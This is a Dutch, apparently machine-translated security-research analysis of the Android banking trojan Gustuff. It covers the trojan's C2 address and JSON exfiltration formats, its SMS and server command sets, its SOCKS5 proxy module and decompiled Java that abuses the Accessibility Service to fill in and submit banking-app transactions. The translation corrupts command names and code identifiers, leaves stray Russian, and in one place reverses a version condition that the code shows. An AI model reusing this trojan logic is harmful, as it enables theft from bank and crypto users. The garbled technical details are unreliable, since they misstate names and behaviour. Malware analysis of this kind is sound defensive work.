Hoe de Android Trojan Gustuff de crème (fiat en crypto) uit uw accounts haalt

Hoe de Android Trojan Gustuff de crème (fiat en crypto) uit uw accounts haalt

Onlangs nog Groep-IB op de hoogte over de activiteit van de mobiele Android Trojan Gustuff. Het werkt uitsluitend op internationale markten en valt klanten aan van de 100 grootste buitenlandse banken, gebruikers van mobiele 32 crypto-wallets en grote e-commercebronnen. Maar de ontwikkelaar van Gustuff is een Russisch sprekende cybercrimineel onder de bijnaam Bestoffer. Tot voor kort prees hij zijn Trojan als “een serieus product voor mensen met kennis en ervaring.”

Specialist in kwaadaardige codeanalyse bij Group-IB Ivan Pisarev in zijn onderzoek vertelt hij gedetailleerd hoe Gustuff werkt en wat de gevaren ervan zijn.

Op wie jaagt Gustuff?

Gustuff behoort tot een nieuwe generatie malware met volledig geautomatiseerde functies. Volgens de ontwikkelaar is de Trojan een nieuwe en verbeterde versie geworden van de AndyBot-malware, die sinds november 2017 Android-telefoons aanvalt en geld steelt via phishing-webformulieren die zich voordoen als mobiele applicaties van bekende internationale banken en betalingssystemen. Bestoffer meldde dat de huurprijs van de Gustuff Bot $ 800 per maand bedroeg.

Analyse van de Gustuff-steekproef toonde aan dat de Trojan zich mogelijk richt op klanten die mobiele applicaties van de grootste banken gebruiken, zoals Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, evenals crypto-wallets Bitcoin-portemonnee, BitPay, Cryptopay, Coinbase, enz.

Oorspronkelijk gemaakt als een klassieke banking Trojan, heeft Gustuff in de huidige versie de lijst met potentiële aanvalsdoelen aanzienlijk uitgebreid. Naast Android-applicaties voor banken, fintechbedrijven en cryptodiensten richt Gustuff zich op gebruikers van marktplaatsapplicaties, online winkels, betaalsystemen en instant messengers. In het bijzonder PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut en anderen.

Ingangspunt: berekening voor massale infectie

Gustuff wordt gekenmerkt door de ‘klassieke’ vector van penetratie in Android-smartphones via sms-mailings met links naar APK’s. Wanneer een Android-apparaat wordt geïnfecteerd met een Trojaans paard op commando van de server, kan Gustuff zich verder verspreiden via de contactendatabase van de geïnfecteerde telefoon of via de serverdatabase. De functionaliteit van Gustuff is ontworpen voor massale infectie en maximale kapitalisatie van de activiteiten van zijn operators - het heeft een unieke functie voor het automatisch aanvullen van legitieme toepassingen voor mobiel bankieren en crypto-wallets, waarmee u de diefstal van geld kunt versnellen en opschalen.

Uit onderzoek van de Trojan bleek dat de functie voor automatisch aanvullen erin was geïmplementeerd met behulp van de Accessibility Service, een dienst voor mensen met een handicap. Gustuff is niet de eerste Trojan die met succes de bescherming tegen interactie met vensterelementen van andere applicaties die deze Android-service gebruiken, omzeilt. Het gebruik van Bereikbaarheidsservice in combinatie met een autovuller komt echter nog steeds vrij zelden voor.

Na het downloaden naar de telefoon van het slachtoffer kan Gustuff, met behulp van de Toegankelijkheidsservice, communiceren met vensterelementen van andere applicaties (bankieren, cryptocurrency, maar ook applicaties voor online winkelen, berichtenuitwisseling, enz.), waarbij de acties worden uitgevoerd die nodig zijn voor de aanvallers . Op commando van de server kan een Trojaans paard bijvoorbeeld op knoppen drukken en de waarden van tekstvelden in bankapplicaties wijzigen. Door het Accessibility Service-mechanisme te gebruiken, kan de Trojan de beveiligingsmechanismen omzeilen die door banken worden gebruikt om mobiele Trojaanse paarden van de vorige generatie tegen te gaan, evenals wijzigingen in het beveiligingsbeleid die door Google zijn geïmplementeerd in nieuwe versies van het Android-besturingssysteem. Gustuff “weet dus hoe” hij de Google Protect-beveiliging moet uitschakelen: volgens de auteur werkt deze functie in 70% van de gevallen.

Hoe de Android Trojan Gustuff de crème (fiat en crypto) uit uw accounts haalt

Gustuff kan ook valse PUSH-meldingen weergeven met pictogrammen van legitieme mobiele applicaties. De gebruiker klikt op de PUSH-melding en ziet een phishing-venster gedownload van de server, waar hij de gevraagde bankkaart- of crypto-walletgegevens invoert. In een ander Gustuff-scenario wordt de applicatie geopend namens wie de PUSH-melding werd weergegeven. In dit geval kan de malware, op commando van de server via de Toegankelijkheidsdienst, de formuliervelden van een bankapplicatie invullen voor een frauduleuze transactie.

De functionaliteit van Gustuff omvat ook het verzenden van informatie over een geïnfecteerd apparaat naar de server, de mogelijkheid om sms-berichten te lezen/verzenden, het verzenden van USSD-verzoeken, het starten van SOCKS5 Proxy, het volgen van een link, het verzenden van bestanden (inclusief fotoscans van documenten, schermafbeeldingen, foto's) naar de server, reset het apparaat naar de fabrieksinstellingen.

Malware-analyse

Voordat een kwaadaardige applicatie wordt geïnstalleerd, toont het Android-besturingssysteem de gebruiker een venster met een lijst met door Gustuff gevraagde rechten:

Hoe de Android Trojan Gustuff de crème (fiat en crypto) uit uw accounts haalt
De applicatie wordt pas geïnstalleerd na toestemming van de gebruiker. Na het starten van de applicatie toont de Trojan de gebruiker een venster:

Hoe de Android Trojan Gustuff de crème (fiat en crypto) uit uw accounts haalt
Daarna zal het zijn pictogram verwijderen.

Gustuff wordt volgens de auteur verpakt door een inpakker van FTT. Na het opstarten maakt de applicatie periodiek contact met de CnC-server om opdrachten te ontvangen. Verschillende bestanden die we hebben onderzocht, gebruikten een IP-adres als controleserver 88.99.171[.]105 (hierna zullen we dit aanduiden als <%CnC%>).

Na het starten begint het programma berichten naar de server te verzenden http://<%CnC%>/api/v1/get.php.

Het antwoord zal naar verwachting JSON zijn in de volgende indeling:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Elke keer dat de applicatie wordt geopend, verzendt deze informatie over het geïnfecteerde apparaat. Het berichtformaat wordt hieronder weergegeven. Het is vermeldenswaard dat de velden vol, extra, apps и toestemming – optioneel en wordt alleen verzonden bij een verzoekopdracht van CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Configuratiegegevens opslaan

Gustuff slaat operationeel belangrijke informatie op in een voorkeurenbestand. De bestandsnaam, evenals de namen van de parameters daarin, zijn het resultaat van het berekenen van de MD5-som uit de tekenreeks 15413090667214.6.1<%naam%>Waar <%naam%> — initiële naamwaarde. Python-interpretatie van de functie voor het genereren van namen:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

In wat volgt zullen we dit aanduiden als naamGenerator(invoer).
De eerste bestandsnaam is dus: naamGenerator("API_SERVER_LIST"), het bevat waarden met de volgende namen:

Variabele naam Waarde
naamGenerator("API_SERVER_LIST") Bevat een lijst met CnC-adressen in de vorm van een array.
naamGenerator("API_SERVER_URL") Bevat het CNC-adres.
naamGenerator("SMS_UPLOAD") De vlag is standaard ingesteld. Als de vlag is ingesteld, verzendt het SMS-berichten naar CnC.
naamGenerator("SMS_ROOT_NUMBER") Telefoonnummer waarnaar sms-berichten die door het geïnfecteerde apparaat worden ontvangen, worden verzonden. De standaardwaarde is nul.
naamGenerator("SMS_ROOT_NUMBER_RESEND") De vlag is standaard uitgeschakeld. Indien geïnstalleerd, wordt een geïnfecteerd apparaat dat een sms ontvangt, naar het rootnummer verzonden.
naamGenerator("DEFAULT_APP_SMS") De vlag is standaard uitgeschakeld. Als deze vlag is ingesteld, verwerkt de applicatie inkomende SMS-berichten.
naamGenerator("DEFAULT_ADMIN") De vlag is standaard uitgeschakeld. Als de vlag is ingesteld, heeft de applicatie beheerdersrechten.
naamGenerator("DEFAULT_ACCESSIBILITY") De vlag is standaard uitgeschakeld. Als de vlag is ingesteld, is er een service actief die gebruikmaakt van de toegankelijkheidsservice.
naamGenerator("APPS_CONFIG") Een JSON-object dat een lijst met acties bevat die moeten worden uitgevoerd wanneer een toegankelijkheidsgebeurtenis wordt geactiveerd die aan een specifieke toepassing is gekoppeld.
naamGenerator("APPS_INSTALLED") Slaat een lijst op met applicaties die op het apparaat zijn geïnstalleerd.
naamGenerator("IS_FIST_RUN") Bij de eerste start wordt de vlag gereset.
naamGenerator("UNIQUE_ID") Bevat een unieke identificatie. Wordt gegenereerd wanneer de bot voor de eerste keer wordt gelanceerd.

Module voor het verwerken van opdrachten van de server

De applicatie slaat de adressen van CnC-servers op in de vorm van een array gecodeerd door Basis 85 lijnen. De lijst met CnC-servers kan worden gewijzigd na ontvangst van het juiste commando, in welk geval de adressen worden opgeslagen in een voorkeurenbestand.

Als reactie op het verzoek stuurt de server een commando naar de applicatie. Het is vermeldenswaard dat opdrachten en parameters in JSON-indeling worden gepresenteerd. De applicatie kan de volgende opdrachten verwerken:

Team beschrijving
vooruitStart Begin met het verzenden van sms-berichten die door het geïnfecteerde apparaat zijn ontvangen naar de CnC-server.
vooruitStop Stop met het verzenden van sms-berichten die door het geïnfecteerde apparaat zijn ontvangen naar de CnC-server.
ussdRun Voer het USSD-verzoek uit. Het nummer waarnaar u een USSD-verzoek moet doen, bevindt zich in het JSON-veld “nummer”.
verstuur sms Stuur één SMS-bericht (indien nodig wordt het bericht in delen “opgesplitst”). Als parameter neemt de opdracht een JSON-object met de velden “to” – het bestemmingsnummer en “body” – de hoofdtekst van het bericht.
stuurSmsAb Stuur sms-berichten (indien nodig wordt het bericht in delen “opgesplitst”) naar iedereen in de contactenlijst van het geïnfecteerde apparaat. Het interval tussen het verzenden van berichten is 10 seconden. De hoofdtekst van het bericht bevindt zich in het JSON-veld "body"
stuurSmsMassa Stuur SMS-berichten (indien nodig wordt het bericht in delen "opgesplitst") naar de contacten die zijn opgegeven in de opdrachtparameters. Het interval tussen het verzenden van berichten is 10 seconden. Als parameter neemt de opdracht een JSON-array (het veld "sms"), waarvan de elementen de velden "to" bevatten - het bestemmingsnummer en "body" - de hoofdtekst van het bericht.
veranderServer Dit commando kan een waarde aannemen met de sleutel “url” als parameter. Vervolgens zal de bot de waarde van nameGenerator(“SERVER_URL”) of “array” wijzigen. Vervolgens zal de bot de array naar nameGenerator (“API_SERVER_LIST”) schrijven Zo verandert de applicatie het adres van de CnC-servers.
adminNummer De opdracht is ontworpen om met een wortelnummer te werken. De opdracht accepteert een JSON-object met de volgende parameters: “number” — wijzig nameGenerator(“ROOT_NUMBER”) in de ontvangen waarde, “resend” — wijzig nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — verzend naar nameGenerator(“ROOT_NUMBER” ) unieke ID.
update informatie Stuur informatie over het geïnfecteerde apparaat naar de server.
wis gegevens De opdracht is bedoeld om gebruikersgegevens te verwijderen. Afhankelijk van onder welke naam de applicatie is gestart, worden de gegevens volledig gewist wanneer het apparaat opnieuw wordt opgestart (primaire gebruiker), of worden alleen gebruikersgegevens verwijderd (secundaire gebruiker).
sokkenStart Start de proxymodule. De werking van de module wordt in een apart hoofdstuk beschreven.
sokkenStop Stop de proxymodule.
open link Volg de link. De link bevindt zich in de JSON-parameter onder de ‘url’-sleutel. “android.intent.action.VIEW” wordt gebruikt om de link te openen.
uploadAlleSms Stuur alle door het apparaat ontvangen SMS-berichten naar de server.
uploadAlleFoto's Stuur afbeeldingen van een geïnfecteerd apparaat naar een URL. De URL wordt geleverd als een parameter.
upload bestand Stuur een bestand naar een URL vanaf een geïnfecteerd apparaat. De URL wordt geleverd als een parameter.
uploadTelefoonnummers Stuur telefoonnummers uit uw contactenlijst naar de server. Als een JSON-objectwaarde met de sleutel “ab” als parameter wordt ontvangen, ontvangt de applicatie een lijst met contacten uit het telefoonboek. Als een JSON-object met de sleutel ‘sms’ als parameter wordt ontvangen, leest de applicatie de lijst met contacten van de afzenders van sms-berichten.
wijzigArchief De applicatie downloadt het bestand van het adres dat als parameter wordt opgegeven met behulp van de “url”-sleutel. Het gedownloade bestand wordt opgeslagen met de naam “archive.zip”. De applicatie zal het bestand vervolgens uitpakken, eventueel met behulp van het archiefwachtwoord “b5jXh37gxgHBrZhQ4j3D”. De uitgepakte bestanden worden opgeslagen in de map [externe opslag]/hgps. In deze map slaat de applicatie webfakes op (hieronder beschreven).
acties De opdracht is ontworpen om te werken met Action Service, die in een aparte sectie wordt beschreven.
proef Niks doen.
Download De opdracht is bedoeld om een ​​bestand van een externe server te downloaden en op te slaan in de map “Downloads”. De URL en de bestandsnaam komen als parameter, velden in het JSON-parameterobject, respectievelijk: “url” en “fileName”.
verwijderen Verwijdert een bestand uit de map "Downloads". De bestandsnaam wordt geleverd in een JSON-parameter met de sleutel “fileName”. De standaard bestandsnaam is “tmp.apk”.
notificatie Toon een melding met beschrijving en titelteksten gedefinieerd door de beheerserver.

Commandoformaat notificatie:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

De melding die door het onderzochte bestand wordt gegenereerd, lijkt identiek aan de melding die wordt gegenereerd door de applicatie die in het veld is opgegeven gebruiken. Als de veldwaarde open app — Het is waar dat wanneer een melding wordt geopend, de in het veld opgegeven applicatie wordt gestart gebruiken. Als de veldwaarde open app – Onwaar dus:

  • Er wordt een phishing-venster geopend waarvan de inhoud uit de map wordt gedownload <%externe opslag%>/hgps/<%bestandsnaam%>
  • Er wordt een phishing-venster geopend waarvan de inhoud van de server wordt gedownload <%url%>?id=<%Bot id%>&app=<%Applicatienaam%>
  • Er wordt een phishing-venster geopend, vermomd als een Google Play-kaart, met de mogelijkheid om kaartgegevens in te voeren.

De applicatie stuurt het resultaat van elk commando naar <%CnC%>set_state.php als een JSON-object in de volgende indeling:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActiesService
De lijst met opdrachten die de toepassingsprocessen bevatten actie. Wanneer een opdracht wordt ontvangen, heeft de opdrachtverwerkingsmodule toegang tot deze service om de uitgebreide opdracht uit te voeren. De service accepteert een JSON-object als parameter. De service kan de volgende opdrachten uitvoeren:

1. PARAMS_ACTION — bij ontvangst van een dergelijk commando ontvangt de service eerst van de JSON-parameter de waarde van de Type-sleutel, die als volgt kan zijn:

  • serviceInfo – het subcommando haalt de waarde per sleutel op uit de JSON-parameter includeNotImportant. Als de vlag True is, stelt de toepassing de vlag in FLAG_ISOLATED_PROCESS naar een dienst die de Toegankelijkheidsdienst gebruikt. Zo wordt de dienst in een apart proces gelanceerd.
  • wortel — informatie ontvangen en naar de server verzenden over het venster dat momenteel in focus is. De toepassing verkrijgt informatie met behulp van de klasse AccessibilityNodeInfo.
  • beheerder — beheerdersrechten aanvragen.
  • vertraging — de ActionsService onderbreken voor het aantal milliseconden dat is opgegeven in de parameter voor de “data”-sleutel.
  • ruiten — een lijst verzenden met vensters die zichtbaar zijn voor de gebruiker.
  • installeren — installeer de applicatie op het geïnfecteerde apparaat. De naam van het archiefpakket staat in de sleutel “fileName”. Het archief zelf bevindt zich in de map Downloads.
  • globaal – het subcommando is bedoeld om vanuit het huidige venster te navigeren:
    • in het menu Snelle instellingen
    • назад
    • thuis
    • naar meldingen
    • naar het onlangs geopende toepassingsvenster

  • lancering - start de applicatie. De toepassingsnaam wordt als parameter per sleutel weergegeven gegevens.
  • geluiden — verander de geluidsmodus naar stil.
  • openen — schakelt de achtergrondverlichting van het scherm en het toetsenbord in op volledige helderheid. De toepassing voert deze actie uit met behulp van WakeLock, waarbij de tekenreeks [Application lable]:INFO als tag wordt opgegeven
  • toestemmingOverlay — de functie is niet geïmplementeerd (het antwoord op de uitvoering van de opdracht is {"message": geen ondersteuning"} of {"message":low sdk"})
  • gebaar — de functie is niet geïmplementeerd (het antwoord op de uitvoering van een opdracht is {"message": geen ondersteuning"} of {"message": lage API"})
  • permissies — deze opdracht is nodig om toestemming voor de toepassing aan te vragen. De queryfunctie is echter niet geïmplementeerd, dus de opdracht is zinloos. De lijst met aangevraagde rechten wordt geleverd als een JSON-array met de sleutel “permissions”. Standaard lijst:
    • android.toestemming.READ_PHONE_STATE
    • android.toestemming.READ_CONTACTS
    • android.toestemming.CALL_PHONE
    • android.toestemming.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • open — een phishing-venster weergeven. Afhankelijk van de parameter die van de server komt, kan de applicatie de volgende phishing-vensters weergeven:
    • Toon een phishing-venster waarvan de inhoud is geschreven in een bestand in een map <%externe map%>/hgps/<%param_filename%>. Het resultaat van de gebruikersinteractie met het venster wordt verzonden naar <%CnC%>/records.php
    • Toon een phishing-venster waarvan de inhoud vooraf is geladen vanaf het adres <%url_param%>?id=<%bot_id%>&app=<%pakketnaam%>. Het resultaat van de gebruikersinteractie met het venster wordt verzonden naar <%CnC%>/records.php
    • Toon een phishing-venster vermomd als een Google Play-kaart.

  • interactieve — de opdracht is ontworpen om te communiceren met vensterelementen van andere toepassingen die AcessibilityService gebruiken. Voor interactie is een speciale service in het programma geïmplementeerd. De onderzochte toepassing kan communiceren met vensters:
    • Momenteel actief. In dit geval bevat de parameter de id of tekst (naam) van het object waarmee u moet communiceren.
    • Zichtbaar voor de gebruiker op het moment dat de opdracht wordt uitgevoerd. De applicatie selecteert vensters op ID.

    Objecten hebben ontvangen ToegankelijkheidNodeInfo Voor vensterelementen die van belang zijn, kan de applicatie, afhankelijk van de parameters, de volgende acties uitvoeren:

    • focus — stel de focus in op het object.
    • klik — klik op een object.
    • actionId — voer een actie uit op basis van ID.
    • setText — verander de tekst van een object. Het wijzigen van de tekst kan op twee manieren: voer een actie uit ACTION_SET_TEXT (als de Android-versie van het geïnfecteerde apparaat jonger is dan of gelijk is aan LOLLY), of door een string op het klembord te plaatsen en deze in een object te plakken (voor oudere versies). Met dit commando kunnen gegevens in een bankapplicatie worden gewijzigd.

2. PARAMS_ACTIONS - hetzelfde als PARAMS_ACTION, arriveert alleen een JSON-array met opdrachten.

Het lijkt erop dat veel mensen geïnteresseerd zullen zijn in hoe de functie van interactie met vensterelementen van een andere applicatie eruit ziet. Dit is hoe deze functionaliteit is geïmplementeerd in Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Functie voor tekstvervanging:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Met de juiste configuratie van de controleserver kan Gustuff dus tekstvelden in de bankapplicatie invullen en op de knoppen klikken die nodig zijn om de transactie te voltooien. De Trojan hoeft niet eens in te loggen op de applicatie. Het is voldoende om een ​​commando te sturen om een ​​PUSH-melding weer te geven en vervolgens de eerder geïnstalleerde bankapplicatie te openen. De gebruiker authenticeert zichzelf, waarna Gustuff de auto kan vullen.

Module voor het verwerken van sms-berichten

De applicatie installeert een gebeurtenishandler zodat het geïnfecteerde apparaat sms-berichten kan accepteren. De onderzochte applicatie kan opdrachten van de operator ontvangen, die in de hoofdtekst van het sms-bericht staan. Commando's hebben de volgende indeling:

7!5=<%Base64-gecodeerde opdracht%>

De applicatie zoekt naar de string in alle inkomende SMS-berichten 7!5=Wanneer een string wordt gedetecteerd, decodeert deze de string uit Base64 op offset 4 en voert de opdracht uit. De commando's zijn vergelijkbaar met die met CnC. Het uitvoeringsresultaat wordt naar hetzelfde nummer verzonden als waar de opdracht vandaan kwam. Antwoordformaat:

7*5=<%Base64-codering van “result_code commando”%>

Optioneel kan de applicatie alle ontvangen berichten naar het Rootnummer sturen. Om dit te doen, moet het Root-nummer worden opgegeven in het voorkeurenbestand en moet de berichtomleidingsvlag worden ingesteld. Er wordt een sms-bericht verzonden naar het nummer van de aanvaller in de volgende indeling:

<%Van getal%> - <%Tijd, formaat: dd/MM/jjjj HH:mm:ss%> <%SMS body%>

Optioneel kan de applicatie ook berichten naar CnC sturen. Het SMS-bericht wordt in JSON-formaat naar de server verzonden:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Als de vlag is ingesteld naamGenerator("DEFAULT_APP_SMS") – de applicatie stopt met het verwerken van het SMS-bericht en wist de lijst met inkomende berichten.

Proxy-module

De onderzochte applicatie bevat een Backconnect Proxy-module (hierna de Proxy-module genoemd), die een aparte klasse heeft die statische velden met configuratie omvat. Configuratiegegevens worden in duidelijke vorm in het monster opgeslagen:

Hoe de Android Trojan Gustuff de crème (fiat en crypto) uit uw accounts haalt

Alle acties die door de Proxy-module worden uitgevoerd, worden vastgelegd in bestanden. Om dit te doen, maakt de applicatie in Externe opslag een map aan met de naam “logs” (het veld ProxyConfigClass.logsDir in de configuratieklasse), waarin logbestanden worden opgeslagen. Logging vindt plaats in bestanden met namen:

  1. main.txt – het werk van de klasse CommandServer wordt in dit bestand geregistreerd. In wat volgt wordt het loggen van de string str in dit bestand aangeduid als mainLog(str).
  2. sessie-<%id%>.txt — dit bestand slaat loggegevens op die verband houden met een specifieke proxysessie. In wat volgt wordt het loggen van de string str naar dit bestand aangeduid als sessionLog (str).
  3. server.txt – dit bestand wordt gebruikt om alle gegevens te loggen die naar de hierboven beschreven bestanden zijn geschreven.

Formaat loggegevens:

<%Datum%> [Thread[<%thread id%>], id[]]: log-string

Uitzonderingen die optreden tijdens de werking van de Proxy-module worden eveneens in een bestand vastgelegd. Om dit te doen, genereert de applicatie een JSON-object in het volgende formaat:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Vervolgens wordt het geconverteerd naar een tekenreeksrepresentatie en wordt het geregistreerd.

De Proxy-module wordt gestart na ontvangst van het bijbehorende commando. Wanneer een opdracht wordt ontvangen om de Proxy-module te starten, start de applicatie een aangeroepen service HoofdService, die verantwoordelijk is voor het beheer van de werking van de Proxy-module - het starten en stoppen ervan.

Fasen bij het starten van de service:

1. Start een timer die één keer per minuut loopt en controleert de activiteit van de Proxy-module. Als de module niet actief is, wordt deze gestart.
Ook wanneer de gebeurtenis wordt geactiveerd android.net.conn.CONNECTIVITY_CHANGE De proxymodule wordt gestart.

2. De applicatie maakt een wake-lock met de parameter PARTIAL_WAKE_LOCK en vangt hem op. Dit voorkomt dat de CPU van het apparaat in de slaapmodus gaat.

3. Start de opdrachtverwerkingsklasse van de Proxy-module, waarbij eerst de regel wordt geregistreerd mainLog("startserver") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

waar proxy_cnc, command_port en proxy_port – parameters verkregen uit de proxyserverconfiguratie.

De opdrachtverwerkingsklasse wordt aangeroepen CommandVerbinding. Voert onmiddellijk na het opstarten de volgende acties uit:

4. Verbindt met ProxyConfigClass.host: ProxyConfigClass.commandPort en verzendt daar gegevens over het geïnfecteerde apparaat in JSON-formaat:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Waar:

  • id – identificatie, probeert een waarde op te halen met het veld “id” uit het gedeelde voorkeursbestand met de naam “x”. Als deze waarde niet kon worden verkregen, wordt er een nieuwe gegenereerd. De Proxy-module heeft dus een eigen identificatie, die op dezelfde manier wordt gegenereerd als de Bot-ID.
  • imei — IMEI van het apparaat. Als er een fout is opgetreden tijdens het verkrijgen van de waarde, wordt er in plaats van dit veld een foutmelding geschreven.
  • imsi — Internationale mobiele abonnee-identiteit van het apparaat. Als er een fout is opgetreden tijdens het verkrijgen van de waarde, wordt er in plaats van dit veld een foutmelding geschreven.
  • model — De voor de eindgebruiker zichtbare naam voor het eindproduct.
  • fabrikant — De fabrikant van het product/de hardware (Build.MANUFACTURER).
  • androidVersion - een tekenreeks in de indeling "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • land — huidige locatie van het apparaat.
  • partnerId is een lege tekenreeks.
  • pakketnaam – pakketnaam.
  • networkType — type huidige netwerkverbinding (bijvoorbeeld: “WIFI”, “MOBILE”). In geval van een fout wordt null geretourneerd.
  • hasGsmSupport – true – als de telefoon GSM ondersteunt, anders false.
  • simReady – SIM-kaartstatus.
  • simCountry - ISO-landcode (gebaseerd op de simkaartprovider).
  • networkOperator — operatornaam. Als er een fout is opgetreden tijdens het verkrijgen van de waarde, wordt er in plaats van dit veld een foutmelding geschreven.
  • simOperator — De naam van de serviceprovider (SPN). Als er een fout is opgetreden tijdens het verkrijgen van de waarde, wordt er in plaats van dit veld een foutmelding geschreven.
  • versie - dit veld wordt opgeslagen in de config-klasse; voor de geteste versies van de bot was het gelijk aan “1.6”.

5. Schakelt over naar de modus van wachten op opdrachten van de server. Commando's van de server hebben het volgende formaat:

  • 0 offset – opdracht
  • 1 offset – sessie-ID
  • 2 offset – lengte
  • 4 offset - gegevens

Wanneer een opdracht binnenkomt, registreert de applicatie:
mainLog("Header { sessionId<%id%>], type[<%command%>], lengte[<%lengte%>] }")

De volgende commando's vanaf de server zijn mogelijk:

Naam commando Data Omschrijving
verbindingId 0 Verbindings-ID Maak een nieuwe verbinding
SLEEP 3 Tijd Pauzeer de proxymodule
PINGPONG 4 - PONG-bericht verzenden

Een PONG-bericht bestaat uit 4 bytes en ziet er als volgt uit: 0x04000000.

Wanneer het ConnectionId-commando wordt ontvangen (om een ​​nieuwe verbinding te maken) CommandVerbinding creëert een instantie van een klasse Proxyverbinding.

  • Er zijn twee klassen die deelnemen aan proxying: Proxyverbinding и einde. Bij het aanmaken van een klas Proxyverbinding verbinding maken met het adres ProxyConfigClass.host: ProxyConfigClass.proxyPort en het JSON-object doorgeven:

 {
    "id":<%connectionId%>
}

Als reactie verzendt de server een SOCKS5-bericht met het adres van de externe server waarmee de verbinding tot stand moet worden gebracht. Interactie met deze server vindt plaats via de klas einde. De verbindingsopbouw kan als volgt schematisch worden weergegeven:

Hoe de Android Trojan Gustuff de crème (fiat en crypto) uit uw accounts haalt

